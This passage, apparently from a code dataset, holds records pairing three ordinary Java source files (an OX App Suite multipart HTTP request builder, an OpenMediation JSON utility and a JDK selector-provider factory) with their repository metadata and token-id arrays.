17695,
365,
320,
343,
496,
1806,
343,
581,
782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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,240
| true
| 63.029912
| true
| true
|
ApacheMultipartPostRequestBuilder.java
|
/FileExtraction/Java_unseen/open-xchange_appsuite-middleware/com.openexchange.http.client/src/com/openexchange/http/client/apache/ApacheMultipartPostRequestBuilder.java
|
/*
* @copyright Copyright (c) OX Software GmbH, Germany <[email protected]>
* @license AGPL-3.0
*
* This code is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with OX App Suite. If not, see <https://www.gnu.org/licenses/agpl-3.0.txt>.
*
* Any use of the work other than as authorized under this license or copyright law is prohibited.
*
*/
package com.openexchange.http.client.apache;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.InputStream;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.client.methods.HttpRequestBase;
import org.apache.http.entity.ContentType;
import org.apache.http.entity.mime.MultipartEntityBuilder;
import org.apache.http.entity.mime.content.ContentBody;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
import com.openexchange.exception.OXException;
import com.openexchange.filemanagement.ManagedFile;
import com.openexchange.filemanagement.ManagedFileManagement;
import com.openexchange.http.client.builder.HTTPMultipartPostRequestBuilder;
/**
*
* {@link ApacheMultipartPostRequestBuilder}
*
* @author <a href="mailto:[email protected]">Kevin Ruthmann</a>
*/
public class ApacheMultipartPostRequestBuilder extends CommonApacheHTTPRequest<HTTPMultipartPostRequestBuilder> implements HTTPMultipartPostRequestBuilder {
private final ManagedFileManagement fileManager;
private final Map<String, ContentBody> parts = new HashMap<String, ContentBody>();
private final List<ManagedFile> managedFiles = new ArrayList<ManagedFile>();
public ApacheMultipartPostRequestBuilder(ApacheClientRequestBuilder coreBuilder, ManagedFileManagement fileManager) {
super(coreBuilder);
this.fileManager = fileManager;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, File file) throws OXException {
parts.put(fieldName, new FileBody(file));
return this;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, InputStream is, String contentType, String filename) throws OXException {
parts.put(fieldName, new FileBody(partSource(is), ContentType.create(contentType, "UTF-8"), filename));
return this;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, InputStream is, String contentType) throws OXException {
parts.put(fieldName, new FileBody(partSource(is), ContentType.create(contentType, "UTF-8"), "data.bin"));
return this;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, String s, String contentType, String filename) throws OXException {
try {
parts.put(fieldName, new FileBody(partSource(s.getBytes("UTF-8")), ContentType.create(contentType, "UTF-8"), filename));
} catch (UnsupportedEncodingException e) {
}
return this;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, String s, String contentType) throws OXException {
try {
parts.put(fieldName, new FileBody(partSource(s.getBytes("UTF-8")), ContentType.create(contentType, "UTF-8"), "data.txt"));
} catch (UnsupportedEncodingException e) {
}
return this;
}
@Override
public HTTPMultipartPostRequestBuilder part(String fieldName, InputStream is, String contentType, long length, String filename) throws OXException {
parts.put(fieldName, new FileBody(partSource(is), ContentType.create(contentType, "UTF-8"), filename));
return this;
}
@Override
public HTTPMultipartPostRequestBuilder stringPart(String fieldName, String fieldValue) {
parts.put(fieldName, new StringBody(fieldValue, ContentType.TEXT_PLAIN));
return this;
}
@Override
protected HttpRequestBase createMethod(String encodedSite) {
HttpPost m = new HttpPost(encodedSite);
MultipartEntityBuilder builder = MultipartEntityBuilder.create();
for (Entry<String, ContentBody> entry : parts.entrySet()) {
builder.addPart(entry.getKey(), entry.getValue());
}
m.setEntity(builder.build());
return m;
}
private File partSource(byte[] data) throws OXException {
return partSource(new ByteArrayInputStream(data));
}
private File partSource(InputStream is) throws OXException {
ManagedFile managedFile = fileManager.createManagedFile(is);
managedFiles.add(managedFile);
return managedFile.getFile();
}
@Override
public void done() {
for (ManagedFile managedFile : managedFiles) {
managedFile.delete();
}
managedFiles.clear();
super.done();
}
}
| 5,511
|
Java
|
.java
|
open-xchange/appsuite-middleware
| 11
| 8
| 0
|
2018-11-16T10:18:56Z
|
2022-11-14T14:03:46Z
|
f39dfaeb7a64ae1611e354aee686af91f509688cfc6ced605c8634105f705a36
|
[
1127,
222,
338,
496,
11793,
2657,
327,
104,
46,
565,
93,
3870,
34723,
49,
44851,
350,
1357,
69,
1693,
50,
125,
2357,
51,
527,
67,
222,
338,
496,
2094,
418,
21156,
50,
56,
51,
53,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
565,
93,
2013,
25280,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
500,
576,
50,
56,
51,
53,
51,
2787,
4513,
222,
338,
222,
338,
6213,
813,
451,
341,
1409,
1623,
2806,
641,
23760,
1549,
477,
3553,
575,
5550,
4940,
458,
552,
43814,
51,
222,
338,
222,
588,
222,
222,
1337,
785,
51,
1693,
11435,
51,
544,
51,
1598,
51,
2121,
64,
222,
222,
485,
1401,
51,
735,
51,
12561,
6989,
64,
222,
485,
1401,
51,
735,
51,
991,
64,
222,
485,
1401,
51,
735,
51,
6989,
64,
222,
485,
1401,
51,
735,
51,
16737,
42302,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
8263,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
1225,
64,
222,
485,
1401,
51,
1058,
51,
1225,
51,
2717,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
1598,
51,
9152,
51,
39417,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
1598,
51,
9152,
51,
14283,
1778,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
2244,
51,
14257,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
2244,
51,
14633,
51,
32477,
2234,
1812,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
2244,
51,
14633,
51,
1304,
51,
1795,
3069,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
2244,
51,
14633,
51,
1304,
51,
991,
3069,
64,
222,
485,
1105,
51,
2121,
51,
544,
51,
2244,
51,
14633,
51,
1304,
51,
671,
3069,
64,
222,
485,
785,
51,
1693,
11435,
51,
3918,
51,
27439,
1002,
64,
222,
485,
785,
51,
1693,
11435,
51,
781,
9343,
51,
12395,
991,
64,
222,
485,
785,
51,
1693,
11435,
51,
781,
9343,
51,
12395,
991,
8596,
64,
222,
485,
785,
51,
1693,
11435,
51,
544,
51,
1598,
51,
4179,
51,
5078,
32477,
3176,
31099,
64,
222,
222,
1350,
222,
338,
222,
338,
3105,
1222,
3954,
32477,
3176,
31099,
130,
222,
338,
222,
338,
496,
2133,
350,
102,
995,
366,
16951,
63,
498,
13785,
51,
119,
877,
28635,
69,
1693,
50,
125,
2357,
51,
527,
432,
80,
37355,
578,
877,
28635,
396,
102,
67,
222,
588,
222,
942,
462,
3954,
32477,
3176,
31099,
2041,
8762,
19720,
5078,
1123,
65,
5078,
32477,
3176,
31099,
67,
4584,
4818,
32477,
3176,
31099,
320,
465,
964,
1175,
24416,
991,
8596,
822,
1590,
64,
303,
964,
1175,
3531,
65,
671,
49,
6261,
3069,
67,
8740,
299,
556,
8329,
65,
671,
49,
6261,
3069,
2938,
465,
964,
1175,
1701,
65,
12395,
991,
67,
12852,
3852,
299,
556,
5068,
65,
12395,
991,
2938,
465,
581,
3954,
32477,
3176,
31099,
45,
19720,
1503,
31099,
5305,
1812,
49,
24416,
991,
8596,
822,
1590,
46,
320,
310,
2615,
45,
1284,
1812,
312,
310,
477,
51,
781,
1590,
299,
822,
1590,
64,
465,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
2050,
822,
46,
2589,
565,
93,
1002,
320,
310,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
781,
894,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
18994,
458,
49,
910,
19889,
49,
910,
4891,
46,
2589,
565,
93,
1002,
320,
310,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
2068,
2044,
45,
316,
490,
38672,
51,
1315,
45,
20256,
49,
332,
6266,
50,
61,
2132,
4891,
894,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
18994,
458,
49,
910,
19889,
46,
2589,
565,
93,
1002,
320,
310,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
2068,
2044,
45,
316,
490,
38672,
51,
1315,
45,
20256,
49,
332,
6266,
50,
61,
2132,
332,
624,
51,
1793,
2992,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
910,
328,
49,
910,
19889,
49,
910,
4891,
46,
2589,
565,
93,
1002,
320,
310,
1614,
320,
343,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
2068,
2044,
45,
120,
51,
19682,
459,
6266,
50,
61,
12967,
38672,
51,
1315,
45,
20256,
49,
332,
6266,
50,
61,
2132,
4891,
894,
310,
339,
2385,
327,
16737,
42302,
503,
46,
320,
310,
339,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
910,
328,
49,
910,
19889,
46,
2589,
565,
93,
1002,
320,
310,
1614,
320,
343,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
2068,
2044,
45,
120,
51,
19682,
459,
6266,
50,
61,
12967,
38672,
51,
1315,
45,
20256,
49,
332,
6266,
50,
61,
2132,
332,
624,
51,
2787,
2992,
310,
339,
2385,
327,
16737,
42302,
503,
46,
320,
310,
339,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
1760,
45,
671,
22759,
49,
18994,
458,
49,
910,
19889,
49,
1964,
3124,
49,
910,
4891,
46,
2589,
565,
93,
1002,
320,
310,
8740,
51,
543,
45,
19216,
49,
556,
2050,
3069,
45,
2068,
2044,
45,
316,
490,
38672,
51,
1315,
45,
20256,
49,
332,
6266,
50,
61,
2132,
4891,
894,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
581,
4818,
32477,
3176,
31099,
821,
2655,
45,
671,
22759,
49,
910,
1620,
899,
46,
320,
310,
8740,
51,
543,
45,
19216,
49,
556,
910,
3069,
45,
1512,
899,
49,
38672,
51,
6025,
100,
33722,
894,
310,
461,
477,
64,
303,
339,
465,
496,
1806,
303,
2532,
26279,
1778,
1506,
1885,
45,
671,
11849,
7309,
46,
320,
310,
4699,
3176,
364,
299,
556,
4699,
3176,
45,
12631,
7309,
312,
310,
27995,
521,
2234,
1812,
4914,
299,
27995,
521,
2234,
1812,
51,
1315,
492,
310,
456,
327,
2717,
65,
671,
49,
6261,
3069,
67,
3429,
518,
8740,
51,
24338,
1177,
320,
343,
4914,
51,
688,
2655,
45,
3054,
51,
11728,
1046,
3429,
51,
6693,
1052,
310,
339,
310,
364,
51,
489,
2234,
45,
4179,
51,
1848,
1052,
310,
461,
364,
64,
303,
339,
465,
964,
2050,
1760,
2044,
45,
2278,
1197,
727,
46,
2589,
565,
93,
1002,
320,
310,
461,
1760,
2044,
45,
909,
45230,
45,
624,
894,
303,
339,
465,
964,
2050,
1760,
2044,
45,
6989,
458,
46,
2589,
565,
93,
1002,
320,
310,
24416,
991,
12852,
991,
299,
822,
1590,
51,
1315,
12395,
991,
45,
316,
312,
310,
12852,
3852,
51,
688,
45,
12268,
991,
312,
310,
461,
12852,
991,
51,
22184,
492,
303,
339,
465,
496,
1806,
303,
581,
782,
3412,
365,
320,
310,
456,
327,
12395,
991,
12852,
991,
518,
12852,
3852,
46,
320,
343,
12852,
991,
51,
2577,
492,
310,
339,
310,
12852,
3852,
51,
3830,
492,
310,
2615,
51,
5099,
492,
303,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,296
| true
| 72.763564
| true
| true
|
JsonUtil.java
|
/FileExtraction/Java_unseen/OpenMediationProject_OpenMediation-Android/om-android-sdk/src/main/java/com/openmediation/sdk/utils/JsonUtil.java
|
// Copyright 2020 ADTIMING TECHNOLOGY COMPANY LIMITED
// Licensed under the GNU Lesser General Public License Version 3
package com.openmediation.sdk.utils;
import android.text.TextUtils;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.lang.reflect.Array;
import java.util.List;
import java.util.Map;
public class JsonUtil {
public static JSONObject put(JSONObject jsonObject, String key, Object value) {
try {
if (jsonObject == null || value == null) {
return jsonObject;
} else if (value instanceof String) {
if (TextUtils.isEmpty((String) value)) {
return jsonObject;
}
jsonObject.put(key, value);
} else if (value instanceof Integer) {
if (((int) value < 0)) {
return jsonObject;
}
jsonObject.put(key, value);
} else if (value instanceof Double) {
if (((double) value < 0)) {
return jsonObject;
}
jsonObject.put(key, value);
} else {
jsonObject.put(key, value);
}
return jsonObject;
} catch (JSONException e) {
DeveloperLog.LogD("JsonUtil error : ", e);
}
return jsonObject;
}
public static JSONObject convert(Map<String, Object> map) {
if (map == null || map.isEmpty()) {
return null;
}
try {
JSONObject object = new JSONObject();
for (Map.Entry<String, Object> entry : map.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();
if (TextUtils.isEmpty(key) || value == null) {
continue;
}
if (value instanceof List) {
object.put(key, convertList((List) value));
} else if (isArray(value)) {
object.put(key, convertArray(value));
} else {
object.put(key, value);
}
}
return object;
} catch (Exception e) {
String error = "Error: setCustomTags(), " + e.getMessage();
DeveloperLog.LogE(error);
AdLog.getSingleton().LogE(error);
return null;
}
}
public static boolean isArray(Object obj) {
if (obj == null) {
return false;
}
return obj.getClass().isArray();
}
public static JSONArray convertArray(Object value) {
JSONArray jsonArray = new JSONArray();
final int length = Array.getLength(value);
for (int i = 0; i < length; ++i) {
jsonArray.put(Array.get(value, i));
}
return jsonArray;
}
public static JSONArray convertList(List value) {
JSONArray jsonArray = new JSONArray();
for (Object o : value) {
jsonArray.put(o);
}
return jsonArray;
}
}
| 3,116
|
Java
|
.java
|
OpenMediationProject/OpenMediation-Android
| 37
| 33
| 3
|
2020-03-16T08:36:27Z
|
2023-06-27T09:58:46Z
|
f2f6aef8e87b99c4051d36775d8f8683549a547780066e968834619e3debe995
|
[
325,
2657,
244,
55,
53,
55,
53,
6998,
12555,
1410,
24107,
1424,
2593,
3612,
94,
14196,
15190,
8493,
222,
325,
4773,
1549,
341,
6994,
16227,
6153,
5062,
1196,
3050,
244,
56,
222,
222,
1337,
785,
51,
1693,
3996,
387,
51,
4982,
51,
2324,
64,
222,
222,
485,
2616,
51,
897,
51,
34310,
64,
222,
222,
485,
1105,
51,
1279,
51,
27698,
64,
222,
485,
1105,
51,
1279,
51,
40458,
64,
222,
485,
1105,
51,
1279,
51,
15543,
64,
222,
222,
485,
1401,
51,
1600,
51,
9069,
51,
1280,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
1225,
64,
222,
222,
942,
462,
5890,
1747,
320,
303,
581,
924,
15439,
4180,
45,
15543,
27720,
49,
910,
1221,
49,
2210,
804,
46,
320,
310,
1614,
320,
343,
434,
327,
41349,
630,
762,
1293,
804,
630,
762,
46,
320,
419,
461,
27720,
64,
343,
339,
832,
434,
327,
872,
5118,
910,
46,
320,
419,
434,
327,
34310,
51,
6401,
1181,
671,
46,
804,
509,
320,
547,
461,
27720,
64,
419,
339,
419,
27720,
51,
543,
45,
697,
49,
804,
312,
343,
339,
832,
434,
327,
872,
5118,
4418,
46,
320,
419,
434,
8587,
429,
46,
804,
350,
244,
53,
509,
320,
547,
461,
27720,
64,
419,
339,
419,
27720,
51,
543,
45,
697,
49,
804,
312,
343,
339,
832,
434,
327,
872,
5118,
6938,
46,
320,
419,
434,
8587,
2640,
46,
804,
350,
244,
53,
509,
320,
547,
461,
27720,
64,
419,
339,
419,
27720,
51,
543,
45,
697,
49,
804,
312,
343,
339,
832,
320,
419,
27720,
51,
543,
45,
697,
49,
804,
312,
343,
339,
343,
461,
27720,
64,
310,
339,
2385,
327,
40458,
503,
46,
320,
343,
19042,
1353,
51,
1353,
73,
459,
2541,
1747,
1067,
518,
3021,
503,
312,
310,
339,
310,
461,
27720,
64,
303,
339,
465,
581,
924,
15439,
4511,
45,
1225,
65,
671,
49,
2210,
67,
2010,
46,
320,
310,
434,
327,
1130,
630,
762,
1293,
2010,
51,
6401,
1177,
320,
343,
461,
762,
64,
310,
339,
310,
1614,
320,
343,
15439,
1319,
299,
556,
15439,
492,
343,
456,
327,
1225,
51,
2717,
65,
671,
49,
2210,
67,
3429,
518,
2010,
51,
24338,
1177,
320,
419,
910,
1221,
299,
3429,
51,
11728,
492,
419,
2210,
804,
299,
3429,
51,
6693,
492,
419,
434,
327,
34310,
51,
6401,
45,
697,
46,
1293,
804,
630,
762,
46,
320,
547,
4056,
64,
419,
339,
419,
434,
327,
872,
5118,
1701,
46,
320,
547,
1319,
51,
543,
45,
697,
49,
4511,
739,
1181,
739,
46,
804,
894,
419,
339,
832,
434,
327,
15425,
45,
872,
509,
320,
547,
1319,
51,
543,
45,
697,
49,
4511,
1280,
45,
872,
894,
419,
339,
832,
320,
547,
1319,
51,
543,
45,
697,
49,
804,
312,
419,
339,
343,
339,
343,
461,
1319,
64,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
910,
1067,
299,
332,
943,
63,
758,
3414,
6763,
1046,
332,
494,
503,
51,
7724,
492,
343,
19042,
1353,
51,
1353,
74,
45,
750,
312,
343,
3604,
1353,
51,
390,
15948,
941,
1353,
74,
45,
750,
312,
343,
461,
762,
64,
310,
339,
303,
339,
465,
581,
924,
1922,
47946,
45,
976,
2847,
46,
320,
310,
434,
327,
2085,
630,
762,
46,
320,
343,
461,
920,
64,
310,
339,
310,
461,
2847,
51,
9699,
941,
15425,
492,
303,
339,
465,
581,
924,
34933,
4511,
1280,
45,
976,
804,
46,
320,
310,
34933,
2379,
1280,
299,
556,
34933,
492,
310,
1175,
648,
3124,
299,
2647,
51,
30031,
45,
872,
312,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
3124,
64,
3323,
110,
46,
320,
343,
2379,
1280,
51,
543,
45,
1280,
51,
390,
45,
872,
49,
613,
894,
310,
339,
310,
461,
2379,
1280,
64,
303,
339,
465,
581,
924,
34933,
4511,
739,
45,
739,
804,
46,
320,
310,
34933,
2379,
1280,
299,
556,
34933,
492,
310,
456,
327,
976,
356,
518,
804,
46,
320,
343,
2379,
1280,
51,
543,
45,
116,
312,
310,
339,
310,
461,
2379,
1280,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 673
| true
| 51.05905
| true
| true
|
DefaultSelectorProvider.java
|
/FileExtraction/Java_unseen/ibmruntimes_openj9-openjdk-jdk9/jdk/src/java.base/solaris/classes/sun/nio/ch/DefaultSelectorProvider.java
|
/*
* Copyright (c) 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package sun.nio.ch;
import java.nio.channels.spi.SelectorProvider;
/**
* Creates this platform's default SelectorProvider
*/
public class DefaultSelectorProvider {
/**
* Prevent instantiation.
*/
private DefaultSelectorProvider() { }
/**
* Returns the default SelectorProvider.
*/
public static SelectorProvider create() {
return new sun.nio.ch.DevPollSelectorProvider();
}
}
| 1,640
|
Java
|
.java
|
ibmruntimes/openj9-openjdk-jdk9
| 68
| 76
| 0
|
2017-09-11T20:40:20Z
|
2018-12-13T18:45:04Z
|
315be9d74a61e6b02180a97e1b061f11f9f4ec8c18e5d07908d3101d40137f92
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
58,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1337,
15315,
51,
11780,
51,
399,
64,
222,
222,
485,
1401,
51,
11780,
51,
8166,
51,
10787,
51,
4454,
2588,
64,
222,
222,
1350,
222,
338,
9308,
477,
5637,
1200,
1263,
27537,
2588,
222,
588,
222,
222,
942,
462,
4119,
4454,
2588,
320,
465,
1041,
294,
338,
36169,
40677,
51,
294,
588,
303,
964,
4119,
4454,
2588,
365,
320,
339,
465,
1041,
294,
338,
3777,
341,
1263,
27537,
2588,
51,
294,
588,
303,
581,
924,
27537,
2588,
1506,
365,
320,
310,
461,
556,
15315,
51,
11780,
51,
399,
51,
8488,
20027,
4454,
